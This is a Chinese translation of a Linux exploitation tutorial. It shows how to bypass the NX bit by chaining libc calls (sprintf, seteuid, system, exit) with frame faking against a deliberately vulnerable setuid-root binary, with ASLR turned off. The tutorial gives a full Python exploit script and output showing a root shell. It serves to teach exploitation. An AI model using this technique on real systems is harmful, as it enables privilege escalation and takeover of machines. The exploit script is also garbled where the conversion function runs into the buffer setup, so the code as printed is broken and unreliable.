# 使用链式 return-to-libc 绕过 NX 位

> 译者：[hackyzh](http://bbs.pediy.com/user-694899.htm)

> 原文：[Bypassing NX bit using chained return-to-libc](https://sploitfun.wordpress.com/2015/05/08/bypassing-nx-bit-using-chained-return-to-libc/)

前提条件：

+   经典的基于堆栈的缓冲区溢出

+   使用return-to-libc绕过NX 位

虚拟机安装：Ubuntu 12.04（x86）

链接的returned-to-libc?

正如以前的帖子看到的，有需要攻击者为了成功利用需要调用多个libc函数。链接多个libc函数的一种简单方法是在堆栈中放置一个libc函数地址，但是由于函数参数的原因，所以是不可能的。讲的不是很清楚，但是没有问题，继续！

漏洞代码：

```c
//vuln.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
 char buf[256];
 seteuid(getuid()); /* Temporarily drop privileges */
 strcpy(buf,argv[1]);
 printf("%s",buf);
 fflush(stdout);
 return 0;
}
```

注意：此代码与上一篇文章（`vuln_priv.c`）中列出的漏洞代码相同。

编译命令：

```
#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -fno-stack-protector -g -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
```

如前一篇文章所述，链接`setuid`，`system`和`exit`将允许我们能够利用漏洞代码`vuln`。但由于以下两个问题，不是一个直接的任务：

1、在堆栈中的同一位置，攻击者将需要放置libc函数的函数参数或一个libc函数的函数参数和另一个libc函数的地址，这显然是不可能的（如下图所示）。

2、`seteuid_arg`应为零。但是由于我们的缓冲区溢出是由于`strcpy`引起的，所以零变成一个坏的字符，ie）这个零之后的字符不会被`strcpy()`复制到堆栈中。

![](http://upload-images.jianshu.io/upload_images/118142-5a99228610175436.png)

现在看看如何克服这两个问题。

**问题1：为了解决这个问题，Nergal谈到了两项辉煌的技术**

1、ESP Lifting

2、Frame Faking

在他的pharck杂志的文章中。这里让我们只看关于帧伪造，因为应用esp lifting技术二进制应该在没有帧指针下支持下进行编译（`-fomit-frame-pointer`）。但是由于我们的二进制（`vuln`）包含帧指针，我们需要应用帧伪造技术。

**帧伪造？**

在这种技术中，而不是使用libc函数地址（本例中为`seteuid`）直接覆盖返回地址，我们用`leave ret`指令来覆盖它。这允许攻击者将堆栈中的函数参数存储起来，而不会有任何重叠，从而允许调用相应的libc函数，而不会有任何问题。让我们来看看会怎么样？

堆栈布局：当攻击者伪造帧进行缓冲区溢出时，如下图堆栈布局所示，成功链接libc函数`seteuid`, `system` 和 `exit`:

![](http://upload-images.jianshu.io/upload_images/118142-54e47ee8d82635ae.png)

上图中的红色突出显示是返回地址，其中每个`leave ret`指令调用其上方的libc函数。例如，第一个`leave ret`指令（位于堆栈地址`0xbffff1fc`）调用`seteuid()`，而第二个`leave ret`(位于堆栈地址`0xbffff20c`)调用`system()`,第三个`leave ret`指令（位于堆栈地址`0xbffff21c`）调用`exit()`。

**`leave ret`指令如何调用上面的libc函数？**

要知道上述问题的答案，首先我们需要了解`leave`指令，`leave`指令转换为：

```asm
mov ebp,esp            //esp = ebp
pop ebp                //ebp = *esp
```

让我们反汇编`main()`函数来了解更多关于`leave ret`指令的信息。

```
(gdb) disassemble main
Dump of assembler code for function main:
  ...
  0x0804851c <+88>: leave                  //mov ebp, esp; pop ebp;
  0x0804851d <+89>: ret                    //return
End of assembler dump.
(gdb)
```

`main`结尾：

在`main`的结尾执行之前，如上面的堆栈布局所示，攻击者将会溢出缓冲区并且将会覆盖，`main`的ebp是`fake_ebp0`（`0xbffff204`）并且返回地址是`leave ret`指令地址（`0x0804851c`）。现在当CPU即将执行`main`的结尾时，EIP指向文本地址`0x0804851c`（`leave ret`）。执行时，发生以下情况：

+   `leave` 改变下面的寄存器
    +   `esp = ebp = 0xbffff1f8`
    +   `ebp = 0xbffff204, esp = 0xbffff1fc`
+   `ret` 执行 `leave ret` 指令（位于栈地址`0xbffff1fc`）

`seteuid`：现在EIP再次指向代码地址`0x0804851c`（`leave ret`）。执行中，发生以下情况：

+   `leave` 改变下面寄存器
    +   `esp = ebp = 0xbffff204`
    +   `ebp = 0xbffff214, esp =0xbffff208`
+   `ret`执行`seteuid()`（位于堆栈地址`0xbffff208`）. 为了成功调用`seteuid`, `seteuid_arg`应该被放在从`seteuid_addr`起的8字节处，在堆栈位置`0xbffff210`
+   在 `seteuid()`调用后, `leave ret` 指令（位于堆栈地址`0xbffff20c`）执行
+   按照上述过程，`system`和`exit`也将被调用，因为堆栈被设置为由攻击者调用 -如上面的堆栈布局图所示

**问题2：在我们的情况下，`seteuid_arg`应为零。但是由于零是一个坏字符，如何在堆栈地址`0xbffff210`写零？有一个简单的解决方案，它在同一篇文章中由nergal讨论。在链接libc函数时，前几个调用应该是`strcpy`，它将`NULL`字节复制到`seteuid_arg`的堆栈位置。**

注意：不幸的是在我的`libc.so.6`中`strcpy`的函数地址是`0xb7ea6200`，libc函数地址本身包含一个`NULL`字节（坏字符!!）。因此，`strcpy`不能用于漏洞代码。`sprintf`（其函数地址为`0xb7e6e8d0`）用作`strcpy`的替代，使用`sprintf`将`NULL`字节复制到`seteuid_arg`的堆栈位置。

因此，以下libc函数被链接来解决上述两个问题并成功获取root shell：

```
sprintf | sprintf | sprintf | sprintf | seteuid | system | exit
```

利用代码：

```py
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

fake_ebp0 = 0xbffff1a0
fake_ebp1 = 0xbffff1b8
fake_ebp2 = 0xbffff1d0
fake_ebp3 = 0xbffff1e8
fake_ebp4 = 0xbffff204
fake_ebp5 = 0xbffff214
fake_ebp6 = 0xbffff224
fake_ebp7 = 0xbffff234
leave_ret = 0x0804851c
sprintf_addr = 0xb7e6e8d0
seteuid_addr = 0xb7f09720
system_addr = 0xb7e61060
exit_addr = 0xb7e54be0
sprintf_arg1 = 0xbffff210
sprintf_arg2 = 0x80485f0
sprintf_arg3 = 0xbffff23c
system_arg = 0x804829d
exit_arg = 0xffffffff

#endianess convertion
def conv(num):
 return struct.pack("<I",num* 264 
buf += conv(fake_ebp0) 
buf += conv(leave_ret) 
#Below four stack frames are for sprintf (to setup seteuid arg )
buf += conv(fake_ebp1) 
buf += conv(sprintf_addr) 
buf += conv(leave_ret) 
buf += conv(sprintf_arg1) 
buf += conv(sprintf_arg2) 
buf += conv(sprintf_arg3) 
buf += conv(fake_ebp2) 
buf += conv(sprintf_addr) 
buf += conv(leave_ret) 
sprintf_arg1 += 1
buf += conv(sprintf_arg1) 
buf += conv(sprintf_arg2) 
buf += conv(sprintf_arg3) 
buf += conv(fake_ebp3) 
buf += conv(sprintf_addr) 
buf += conv(leave_ret) 
sprintf_arg1 += 1
buf += conv(sprintf_arg1) 
buf += conv(sprintf_arg2) 
buf += conv(sprintf_arg3) 
buf += conv(fake_ebp4) 
buf += conv(sprintf_addr) 
buf += conv(leave_ret) 
sprintf_arg1 += 1
buf += conv(sprintf_arg1) 
buf += conv(sprintf_arg2) 
buf += conv(sprintf_arg3)
#Dummy - To avoid null byte in fake_ebp4. 
buf += "X" * 4 
#Below stack frame is for seteuid
buf += conv(fake_ebp5) 
buf += conv(seteuid_addr) 
buf += conv(leave_ret) 
#Dummy - This arg is zero'd by above four sprintf calls
buf += "Y" * 4 
#Below stack frame is for system
buf += conv(fake_ebp6) 
buf += conv(system_addr) 
buf += conv(leave_ret) 
buf += conv(system_arg) 
#Below stack frame is for exit
buf += conv(fake_ebp7) 
buf += conv(exit_addr) 
buf += conv(leave_ret) 
buf += conv(exit_arg) 

print "Calling vulnerable program"
call(["./vuln", buf])
```

执行上述漏洞代码给我们root shell！

```
$ python exp.py 
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����������������\��������������\��������������\�������������\��� �������AAAA0�������Ѕ
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$
```

现在完全绕过了NX 位，让我们看看如何在下一篇文章中绕过ASLR。

